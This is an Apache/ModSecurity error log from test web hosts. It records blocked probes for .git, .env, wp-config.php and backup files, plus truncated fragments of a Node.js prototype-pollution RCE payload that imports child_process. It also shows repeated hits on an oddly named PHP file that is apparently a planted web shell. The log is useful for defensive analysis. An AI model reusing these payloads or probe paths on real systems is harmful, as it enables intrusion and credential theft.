[Tue Jan 27 03:40:34.969635 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aXgloooKub8cHPrJxjGUCAAAAAc"]
[Tue Jan 27 03:40:34.969874 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aXgloooKub8cHPrJxjGUCAAAAAc"]
[Tue Jan 27 03:40:34.970011 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/config.php.bak"] [unique_id "aXgloooKub8cHPrJxjGUCAAAAAc"]
[Tue Jan 27 03:40:35.058115 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aXglo4oKub8cHPrJxjGUDAAAAAc"]
[Tue Jan 27 03:40:35.058277 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aXglo4oKub8cHPrJxjGUDAAAAAc"]
[Tue Jan 27 03:40:35.058445 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aXglo4oKub8cHPrJxjGUDAAAAAc"]
[Tue Jan 27 03:40:35.079139 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXglo4oKub8cHPrJxjGUDQAAAAc"]
[Tue Jan 27 03:40:35.079314 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXglo4oKub8cHPrJxjGUDQAAAAc"]
[Tue Jan 27 03:40:35.079503 2026] [:error] [pid 1683444] [client 195.178.110.132:39662] [client 195.178.110.132] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aXglo4oKub8cHPrJxjGUDQAAAAc"]
[Tue Jan 27 04:23:31.620446 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Rule 7fde0a507898 [id "932110"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "258"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.620573 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Rule 7fde0a4fc760 [id "932115"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "298"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.622421 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Warning. Pattern match "(?i)\\\\b(?:s(?:e(?:t(?:_(?:e(?:xception|rror)_handler|magic_quotes_runtime|include_path)|defaultstub)|ssion_s(?:et_save_handler|tart))|qlite_(?:(?:(?:unbuffered|single|array)_)?query|create_(?:aggregate|function)|p?open|exec)|tr(?:eam_(?:context_create| ..." at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "350"] [id "933160"] [msg "PHP Injection Attack: High-Risk PHP Function Call Found"] [data "Matched Data: eval(user_code); Promise.resolve(val).then(function(v) { var res_str = (typeof v === 'object') ? JSON.stringify(v) : String(v); try { res_str = zlib.deflateSync(res_str); } catch(e) {} var res_hex = global[String.fromCharCode(66,117,102,102,101,114)].from(res_str).toString('hex'); reject(Object.assign(new Error('RCE_RES'), { digest: res_hex })); }).catch(function(e) { reject(Object.assign(new Er..."] [severity "CRITICAL"] [ver "OWASP_C [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.622564 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Rule 7fde0a14dbf8 [id "933210"][file "/usr/share/modsecurity-crs/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"][line "504"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.622727 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.622877 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: String.fromCharCode found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var reject_bridge = arguments[1]; (Promise.all([Function('return import(\\x5c\\x22node:child_process\\x5c\\x22)')(), Function('return import(\\x5c\\x22node:zlib\\x5c\\x22)')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.624605 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Rule 7fde0ad7f320 [id "941140"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "179"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.624736 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Rule 7fde0ad76030 [id "941160"][file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"][line "218"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.631240 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 04:23:31.631405 2026] [:error] [pid 1683729] [client 20.51.155.167:62842] [client 20.51.155.167] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXgvs5t_cq3N6No2V8DcaAAAAA0"]
[Tue Jan 27 05:24:08.880783 2026] [php:warn] [pid 1685069] [client 57.131.13.108:57875] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Tue Jan 27 05:24:09.273871 2026] [php:warn] [pid 1685045] [client 46.246.122.169:49829] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Tue Jan 27 05:24:10.814492 2026] [authz_core:error] [pid 1685028] [client 217.170.194.172:52693] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Tue Jan 27 05:24:10.922847 2026] [authz_core:error] [pid 1685020] [client 156.146.41.19:35897] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Tue Jan 27 05:24:11.378004 2026] [authz_core:error] [pid 1685069] [client 217.170.194.172:53153] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Tue Jan 27 05:24:12.153467 2026] [autoindex:error] [pid 1683725] [client 57.131.13.107:40353] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 05:24:12.755875 2026] [php:warn] [pid 1685069] [client 116.206.228.182:48139] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Tue Jan 27 05:24:13.241936 2026] [autoindex:error] [pid 1685020] [client 37.27.253.44:58039] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 05:24:13.410928 2026] [autoindex:error] [pid 1685070] [client 217.170.194.172:46731] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 05:24:46.556030 2026] [authz_core:error] [pid 1685070] [client 217.170.194.172:52897] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Tue Jan 27 05:24:49.107152 2026] [autoindex:error] [pid 1685085] [client 217.170.194.172:37731] AH01276: Cannot serve directory /var/www/magento.test.indacotrentino.com/www/pub/errors/: No matching DirectoryIndex (index.php) found, and server-generated directory index forbidden by Options directive
[Tue Jan 27 05:25:17.160473 2026] [authz_core:error] [pid 1685084] [client 217.170.194.172:36201] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/pub/cron.php
[Tue Jan 27 05:30:55.105276 2026] [php:warn] [pid 1685083] [client 49.185.200.101:56206] PHP Warning: Undefined array key "d" in /var/www/magento.test.indacotrentino.com/www/pub/bcf93fbb4020.php on line 1
[Tue Jan 27 06:59:22.115280 2026] [:error] [pid 1685084] [client 204.76.203.25:40556] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXhUOsVNAll46Bh1JMUzTAAAAAg"]
[Tue Jan 27 06:59:22.115563 2026] [:error] [pid 1685084] [client 204.76.203.25:40556] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXhUOsVNAll46Bh1JMUzTAAAAAg"]
[Tue Jan 27 06:59:22.115728 2026] [:error] [pid 1685084] [client 204.76.203.25:40556] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXhUOsVNAll46Bh1JMUzTAAAAAg"]
[Tue Jan 27 07:22:07.642019 2026] [:error] [pid 1685070] [client 217.170.194.172:38275] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /mftz_injrt48k8s5m.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mftZ_INJrT48K8S5M.htaccess"] [unique_id "aXhZj-uc3r9bSVXogmXJ7wAAAAw"]
[Tue Jan 27 07:22:07.642365 2026] [:error] [pid 1685070] [client 217.170.194.172:38275] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mftZ_INJrT48K8S5M.htaccess"] [unique_id "aXhZj-uc3r9bSVXogmXJ7wAAAAw"]
[Tue Jan 27 07:22:07.642543 2026] [:error] [pid 1685070] [client 217.170.194.172:38275] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/mftZ_INJrT48K8S5M.htaccess"] [unique_id "aXhZj-uc3r9bSVXogmXJ7wAAAAw"]
[Tue Jan 27 07:22:07.962849 2026] [:error] [pid 1685081] [client 217.170.194.172:33663] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /rr9kpnezetyrddfsr1.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/RR9kpneZetyrddFSR1.htaccess"] [unique_id "aXhZj5NwhhogseNFUwIY1gAAAAE"]
[Tue Jan 27 07:22:07.963137 2026] [:error] [pid 1685081] [client 217.170.194.172:33663] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/RR9kpneZetyrddFSR1.htaccess"] [unique_id "aXhZj5NwhhogseNFUwIY1gAAAAE"]
[Tue Jan 27 07:22:07.963294 2026] [:error] [pid 1685081] [client 217.170.194.172:33663] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/RR9kpneZetyrddFSR1.htaccess"] [unique_id "aXhZj5NwhhogseNFUwIY1gAAAAE"]
[Tue Jan 27 07:22:08.282047 2026] [:error] [pid 1685083] [client 217.170.194.172:59197] [client 217.170.194.172] ModSecurity: Warning. Matched phrase ".htaccess" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .htaccess found within REQUEST_FILENAME: /9dhojnd0d0kth1mekdf.htaccess"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/9DHojnD0d0ktH1mEkDf.htaccess"] [unique_id "aXhZkAaHvWJdbyJFaNH1ggAAAAc"]
[Tue Jan 27 07:22:08.282367 2026] [:error] [pid 1685083] [client 217.170.194.172:59197] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/9DHojnD0d0ktH1mEkDf.htaccess"] [unique_id "aXhZkAaHvWJdbyJFaNH1ggAAAAc"]
[Tue Jan 27 07:22:08.282525 2026] [:error] [pid 1685083] [client 217.170.194.172:59197] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/9DHojnD0d0ktH1mEkDf.htaccess"] [unique_id "aXhZkAaHvWJdbyJFaNH1ggAAAAc"]
[Tue Jan 27 07:22:08.597918 2026] [authz_core:error] [pid 1685085] [client 217.170.194.172:57625] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/.htaccess
[Tue Jan 27 07:22:50.705150 2026] [:error] [pid 1685068] [client 217.170.194.172:33927] [client 217.170.194.172] ModSecurity: Warning. Matched phrase "wp-config.php" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: wp-config.php found within REQUEST_FILENAME: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhZuiWbtViBHFbd23JYggAAAAo"]
[Tue Jan 27 07:22:50.705440 2026] [:error] [pid 1685068] [client 217.170.194.172:33927] [client 217.170.194.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhZuiWbtViBHFbd23JYggAAAAo"]
[Tue Jan 27 07:22:50.705613 2026] [:error] [pid 1685068] [client 217.170.194.172:33927] [client 217.170.194.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-config.php"] [unique_id "aXhZuiWbtViBHFbd23JYggAAAAo"]
